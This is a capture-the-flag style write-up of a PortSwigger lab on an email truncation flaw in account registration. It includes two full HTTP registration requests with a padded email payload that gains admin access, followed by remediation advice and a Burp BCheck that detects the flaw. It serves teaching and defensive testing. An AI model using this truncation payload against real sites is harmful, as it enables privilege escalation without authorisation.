#Description
This lab doesn't adequately validate user input. You can exploit a logic flaw in its account registration process to gain access to administrative functionality. To solve the lab, access the admin panel and delete the user carlos.
#Quick Look
#Front Page

#Register

Using the previous context from the Inconsistent Security Controls write-up, we can see that this is likely to be another lovely email input validation issue.
#Initial Registration
As always when doing tests, we follow the expected flow so that we can determine how the application functions. It can be super common in the industry to rush to attacks, but we do really need to understand how it works to even know what attacks will have a high viability of working.
#Registration Flow
We utilise the email client provided to us by PortSwigger to register and we see something very annoying about this application.


It demands proper validation! Well, that is annoying. We can deduce from the registration form that we need to create an account that would allow us to access the staff side of the application, but we don't have a dontwannacry email address, so we can't just break through and register with a fake one.
#Registration Flaw
However, there is one flaw that the application doesn't consider. How does it actually determine what address we are using? This probably sounds obvious, "Oh well, the one that we tell it." Right, and we can even view the exact address that it knows on the login page itself.

Wait, why does it look so odd? Well, this lab actually does not appropriately validate user input, but the app itself expects the email to be of a certain length, so after some testing, we can actually get some of the user details to overflow the application logic.
#Exploitation
Now that we have seen the flaw in action, we can abuse this fairly easily. If we review the email client, we can see the following

The key bit being that all subdomains will send an email to this box; it is effectively a kind of catch-all email address. This is commonplace for many businesses and organisations, and for testing, is how we tend to manage shared infrastructure.
The goal will be to add dontwannacry.com as the subdomain to the catch-all email address, and then add in enough characters to ensure that it cuts off everything after the .com.
#Getting the Character Count Right
We can do this fairly manually to get the right number of characters. The number of characters that I added earlier is actually almost the exact amount that we need, and all I did there was hold the A key for a random number of seconds.

POST /register HTTP/2
Host: 0a61009e039ff07380e8306100c800c7.web-security-academy.net
Cookie: session=u9RqQ3GDVMTZm3FXWx9RkMSjs1rKtBkQ
Content-Length: 377
Cache-Control: max-age=0
Sec-Ch-Ua: "Not;A=Brand";v="8", "Chromium";v="150"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Origin: https://0a61009e039ff07380e8306100c800c7.web-security-academy.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a61009e039ff07380e8306100c800c7.web-security-academy.net/register
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
csrf=5v5cozpfvb3UL9r2Ucrn3HqxxnwdC0Qe&username=test5&email=testaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%40dontwannacry.com.exploit-0a13008103a4f04180582fd501b0001f.exploit-server.net&password=test
Another 13 characters and the lab will effectively be solved. The reason for this is that the application is actively truncating to ensure that the email address is exactly 255 characters all in.

POST /register HTTP/2
Host: 0a61009e039ff07380e8306100c800c7.web-security-academy.net
Cookie: session=pIz3EqsOBE5luCKsumFfm0gKix446dYk
Content-Length: 390
Cache-Control: max-age=0
Sec-Ch-Ua: "Not;A=Brand";v="8", "Chromium";v="150"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Origin: https://0a61009e039ff07380e8306100c800c7.web-security-academy.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a61009e039ff07380e8306100c800c7.web-security-academy.net/register
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
csrf=bHQReP3iWDzXT70Hjz7xDtLUH81UsETN&username=test6&email=testaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaayyyyyyyyyyyyy%40dontwannacry.com.exploit-0a13008103a4f04180582fd501b0001f.exploit-server.net&password=test
And there we go, now we have access to the hidden Admin section and we can delete Carlos to complete the lab.

#Remediation
This is a super quick and basic lab, so basic in fact that I didn't bother looking at Burp once to complete the lab. A lot of that is due to contextual knowledge, and partly because I already understood that the path to exploit this was not to try and break the flow, but in fact use the flow against the app.
But what is the fix?
Well, this one goes a bit past just "Do input validation". Should there be input validation? Absolutely, if the app only expects emails to be, say, 64 characters long, then there should be client-side and server-side limits to ensure sanity of input and to preserve user experience.
But the one thing that should also be done is a bit more interesting, because input validation can fail and using it as the only control is always going to lead to issues at some point. Whether it's because a junior has edited and messed up regex, or because a new API call has been implemented that skips right past all of the lovely security checks.
One thing that I think would be really important here is to ensure that admin logic isn't tied to an email address, and, if the email address is to be used in some way, that the app and accompanying database doesn't truncate unacceptable input. It should be denied outright or used in full so that this style of attack can't be used against the internal logic.
#Custom BCheck
This is an interesting lab, because even on real engagements you don't really see this kind of functionality or vulnerability in place. It never really comes up as part of the review process, and you can easily forget that such a thing could even be possible.
Real-world web apps often have different URLs, RBAC that is completely disconnected from email addresses, apps that are designed for either anyone or solely internal use that have limitations completely separated.
But, just because you don't often see it, doesn't mean it doesn't exist and it's something to be mindful of. But to save the time and energy of this kind of attack path, I have created a BCheck that can be utilised as part of an active scan that will identify any and all instances of this kind of exploitation. Whether or not it gets you administrative access to a web app may be a different story, but you can at least raise an odd low/informational issue about their handling of user input.
metadata:
language: v2-beta
name: "Email field length check"
description: "Tests whether the application accepts excessively long email addresses. Inconsistent handling between validation and storage layers may allow truncation attacks leading to account manipulation or privilege escalation."
tags: "active", "email", "business-logic"
# Email and username param names default to "email" and "username". Update if the target uses different names.
# Common CSRF token names are handled automatically (csrf, csrf_token, csrftoken, csrfmiddlewaretoken,
# _token, authenticity_token, xsrf, xsrf_token, __requestverificationtoken, _csrf).
given path then
send request called reg_page:
replacing method: "GET"
removing body
if {base.request.body} matches "(?i)email=[^&\s]+" and (not({base.request.body} matches "(?i)(csrf|csrf_token|csrftoken|csrfmiddlewaretoken|_token|authenticity_token|xsrf|xsrf_token|__requestverificationtoken|_csrf)=[^&\s]+") or {reg_page.response.body} matches "(?i)name=\"(csrf|csrf_token|csrftoken|csrfmiddlewaretoken|_token|authenticity_token|xsrf|xsrf_token|__requestverificationtoken|_csrf)\"[^>]*value=\"[^\"]+\"") then
# Tier 1 (~100 chars)
send request:
replacing body: `{regex_replace(regex_replace(regex_replace({base.request.body}, "username=([^&\s]*)", "username=$1_bCk100"), "(?i)email=([^%@&\s]+)(?:@|%40)([^&\s]*)", "email=$1+bCk100+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%40$2"), "(?i)(csrf|csrf_token|csrftoken|csrfmiddlewaretoken|_token|authenticity_token|xsrf|xsrf_token|__requestverificationtoken|_csrf)=[^&\s]*", {regex_replace({reg_page.response.body}, "(?s).*name=\"(csrf|csrf_token|csrftoken|csrfmiddlewaretoken|_token|authenticity_token|xsrf|xsrf_token|__requestverificationtoken|_csrf)\"[^>]*value=\"([^\"]+)\".*", "$1=$2")})}`
if {latest.response.status_code} matches "2[0-9][0-9]" and not({latest.response.body} matches "(?i)error|invalid|too long|failed|already (exists|registered|taken)") then
report issue and continue:
name: "Email field length truncation (~100 chars)"
severity: info
confidence: tentative
remediation: "Ensure consistent email length validation is applied at both the application and storage layers."
detail: `The application accepted an email padded to approximately 100 characters without returning an error. Noted as a baseline against higher length tiers.`
end if
# Tier 2 (~200 chars)
send request:
replacing body: `{regex_replace(regex_replace(regex_replace({base.request.body}, "username=([^&\s]*)", "username=$1_bCk200"), "(?i)email=([^%@&\s]+)(?:@|%40)([^&\s]*)", "email=$1+bCk200+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%40$2"), "(?i)(csrf|csrf_token|csrftoken|csrfmiddlewaretoken|_token|authenticity_token|xsrf|xsrf_token|__requestverificationtoken|_csrf)=[^&\s]*", {regex_replace({reg_page.response.body}, "(?s).*name=\"(csrf|csrf_token|csrftoken|csrfmiddlewaretoken|_token|authenticity_token|xsrf|xsrf_token|__requestverificationtoken|_csrf)\"[^>]*value=\"([^\"]+)\".*", "$1=$2")})}`
if {latest.response.status_code} matches "2[0-9][0-9]" and not({latest.response.body} matches "(?i)error|invalid|too long|failed|already (exists|registered|taken)") then
report issue and continue:
name: "Email field length truncation (~200 chars)"
severity: info
confidence: tentative
remediation: "Ensure consistent email length validation is applied at both the application and storage layers."
detail: `The application accepted an email padded to approximately 200 characters without returning an error. Noted for comparison against boundary and above-boundary tiers.`
end if
# Tier 3 (~254 chars, standard maximum)
send request:
replacing body: `{regex_replace(regex_replace(regex_replace({base.request.body}, "username=([^&\s]*)", "username=$1_bCk254"), "(?i)email=([^%@&\s]+)(?:@|%40)([^&\s]*)", "email=$1+bCk254+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%40$2"), "(?i)(csrf|csrf_token|csrftoken|csrfmiddlewaretoken|_token|authenticity_token|xsrf|xsrf_token|__requestverificationtoken|_csrf)=[^&\s]*", {regex_replace({reg_page.response.body}, "(?s).*name=\"(csrf|csrf_token|csrftoken|csrfmiddlewaretoken|_token|authenticity_token|xsrf|xsrf_token|__requestverificationtoken|_csrf)\"[^>]*value=\"([^\"]+)\".*", "$1=$2")})}`
if {latest.response.status_code} matches "2[0-9][0-9]" and not({latest.response.body} matches "(?i)error|invalid|too long|failed|already (exists|registered|taken)") then
report issue and continue:
name: "Email field length truncation (~254 chars)"
severity: low
confidence: tentative
remediation: "Enforce a maximum email length at the application layer and ensure the storage layer applies the same limit."
detail: `The application accepted an email padded to approximately 254 characters without returning an error. If the storage layer applies a lower limit, the value may be silently truncated, potentially allowing an attacker to influence which address is ultimately stored. While not an explicit vulnerability, this is tentative evidence of a number of potential issues including account takeover via email manipulation, privilege escalation where domain determines role assignment, and email confirmation bypass.`
end if
# Tier 4 (~300 chars)
send request:
replacing body: `{regex_replace(regex_replace(regex_replace({base.request.body}, "username=([^&\s]*)", "username=$1_bCk300"), "(?i)email=([^%@&\s]+)(?:@|%40)([^&\s]*)", "email=$1+bCk300+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%40$2"), "(?i)(csrf|csrf_token|csrftoken|csrfmiddlewaretoken|_token|authenticity_token|xsrf|xsrf_token|__requestverificationtoken|_csrf)=[^&\s]*", {regex_replace({reg_page.response.body}, "(?s).*name=\"(csrf|csrf_token|csrftoken|csrfmiddlewaretoken|_token|authenticity_token|xsrf|xsrf_token|__requestverificationtoken|_csrf)\"[^>]*value=\"([^\"]+)\".*", "$1=$2")})}`
if {latest.response.status_code} matches "2[0-9][0-9]" and not({latest.response.body} matches "(?i)error|invalid|too long|failed|already (exists|registered|taken)") then
report issue and continue:
name: "Email field length truncation (~300 chars)"
severity: low
confidence: tentative
remediation: "Enforce a maximum email length at the application layer and ensure the storage layer applies the same limit."
detail: `The application accepted an email padded to approximately 300 characters without returning an error, indicating missing or inconsistent length validation. While not an explicit vulnerability, this is tentative evidence of a number of potential issues including account takeover via email manipulation, privilege escalation where domain determines role assignment, and email confirmation bypass.`
end if
# Tier 5 (~500 chars)
send request:
replacing body: `{regex_replace(regex_replace(regex_replace({base.request.body}, "username=([^&\s]*)", "username=$1_bCk500"), "(?i)email=([^%@&\s]+)(?:@|%40)([^&\s]*)", "email=$1+bCk500+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%40$2"), "(?i)(csrf|csrf_token|csrftoken|csrfmiddlewaretoken|_token|authenticity_token|xsrf|xsrf_token|__requestverificationtoken|_csrf)=[^&\s]*", {regex_replace({reg_page.response.body}, "(?s).*name=\"(csrf|csrf_token|csrftoken|csrfmiddlewaretoken|_token|authenticity_token|xsrf|xsrf_token|__requestverificationtoken|_csrf)\"[^>]*value=\"([^\"]+)\".*", "$1=$2")})}`
if {latest.response.status_code} matches "2[0-9][0-9]" and not({latest.response.body} matches "(?i)error|invalid|too long|failed|already (exists|registered|taken)") then
report issue:
name: "Email field length truncation (~500 chars)"
severity: medium
confidence: tentative
remediation: "Enforce a maximum email length at the application layer and ensure the storage layer applies the same limit. Validate that both layers agree on what constitutes a valid address."
detail: `The application accepted an email padded to approximately 500 characters without returning an error. If the value is truncated at the storage layer, an attacker may be able to control which address is ultimately stored. While not an explicit vulnerability, this is tentative evidence of a number of potential issues including account takeover via email manipulation, privilege escalation where domain determines role assignment, email confirmation bypass, and silent data corruption in address storage.`
end if
end if
The BCheck will attempt to create accounts with additional characters up to 500 chars and raise an issue if anything that shouldn't be expected manages to go through.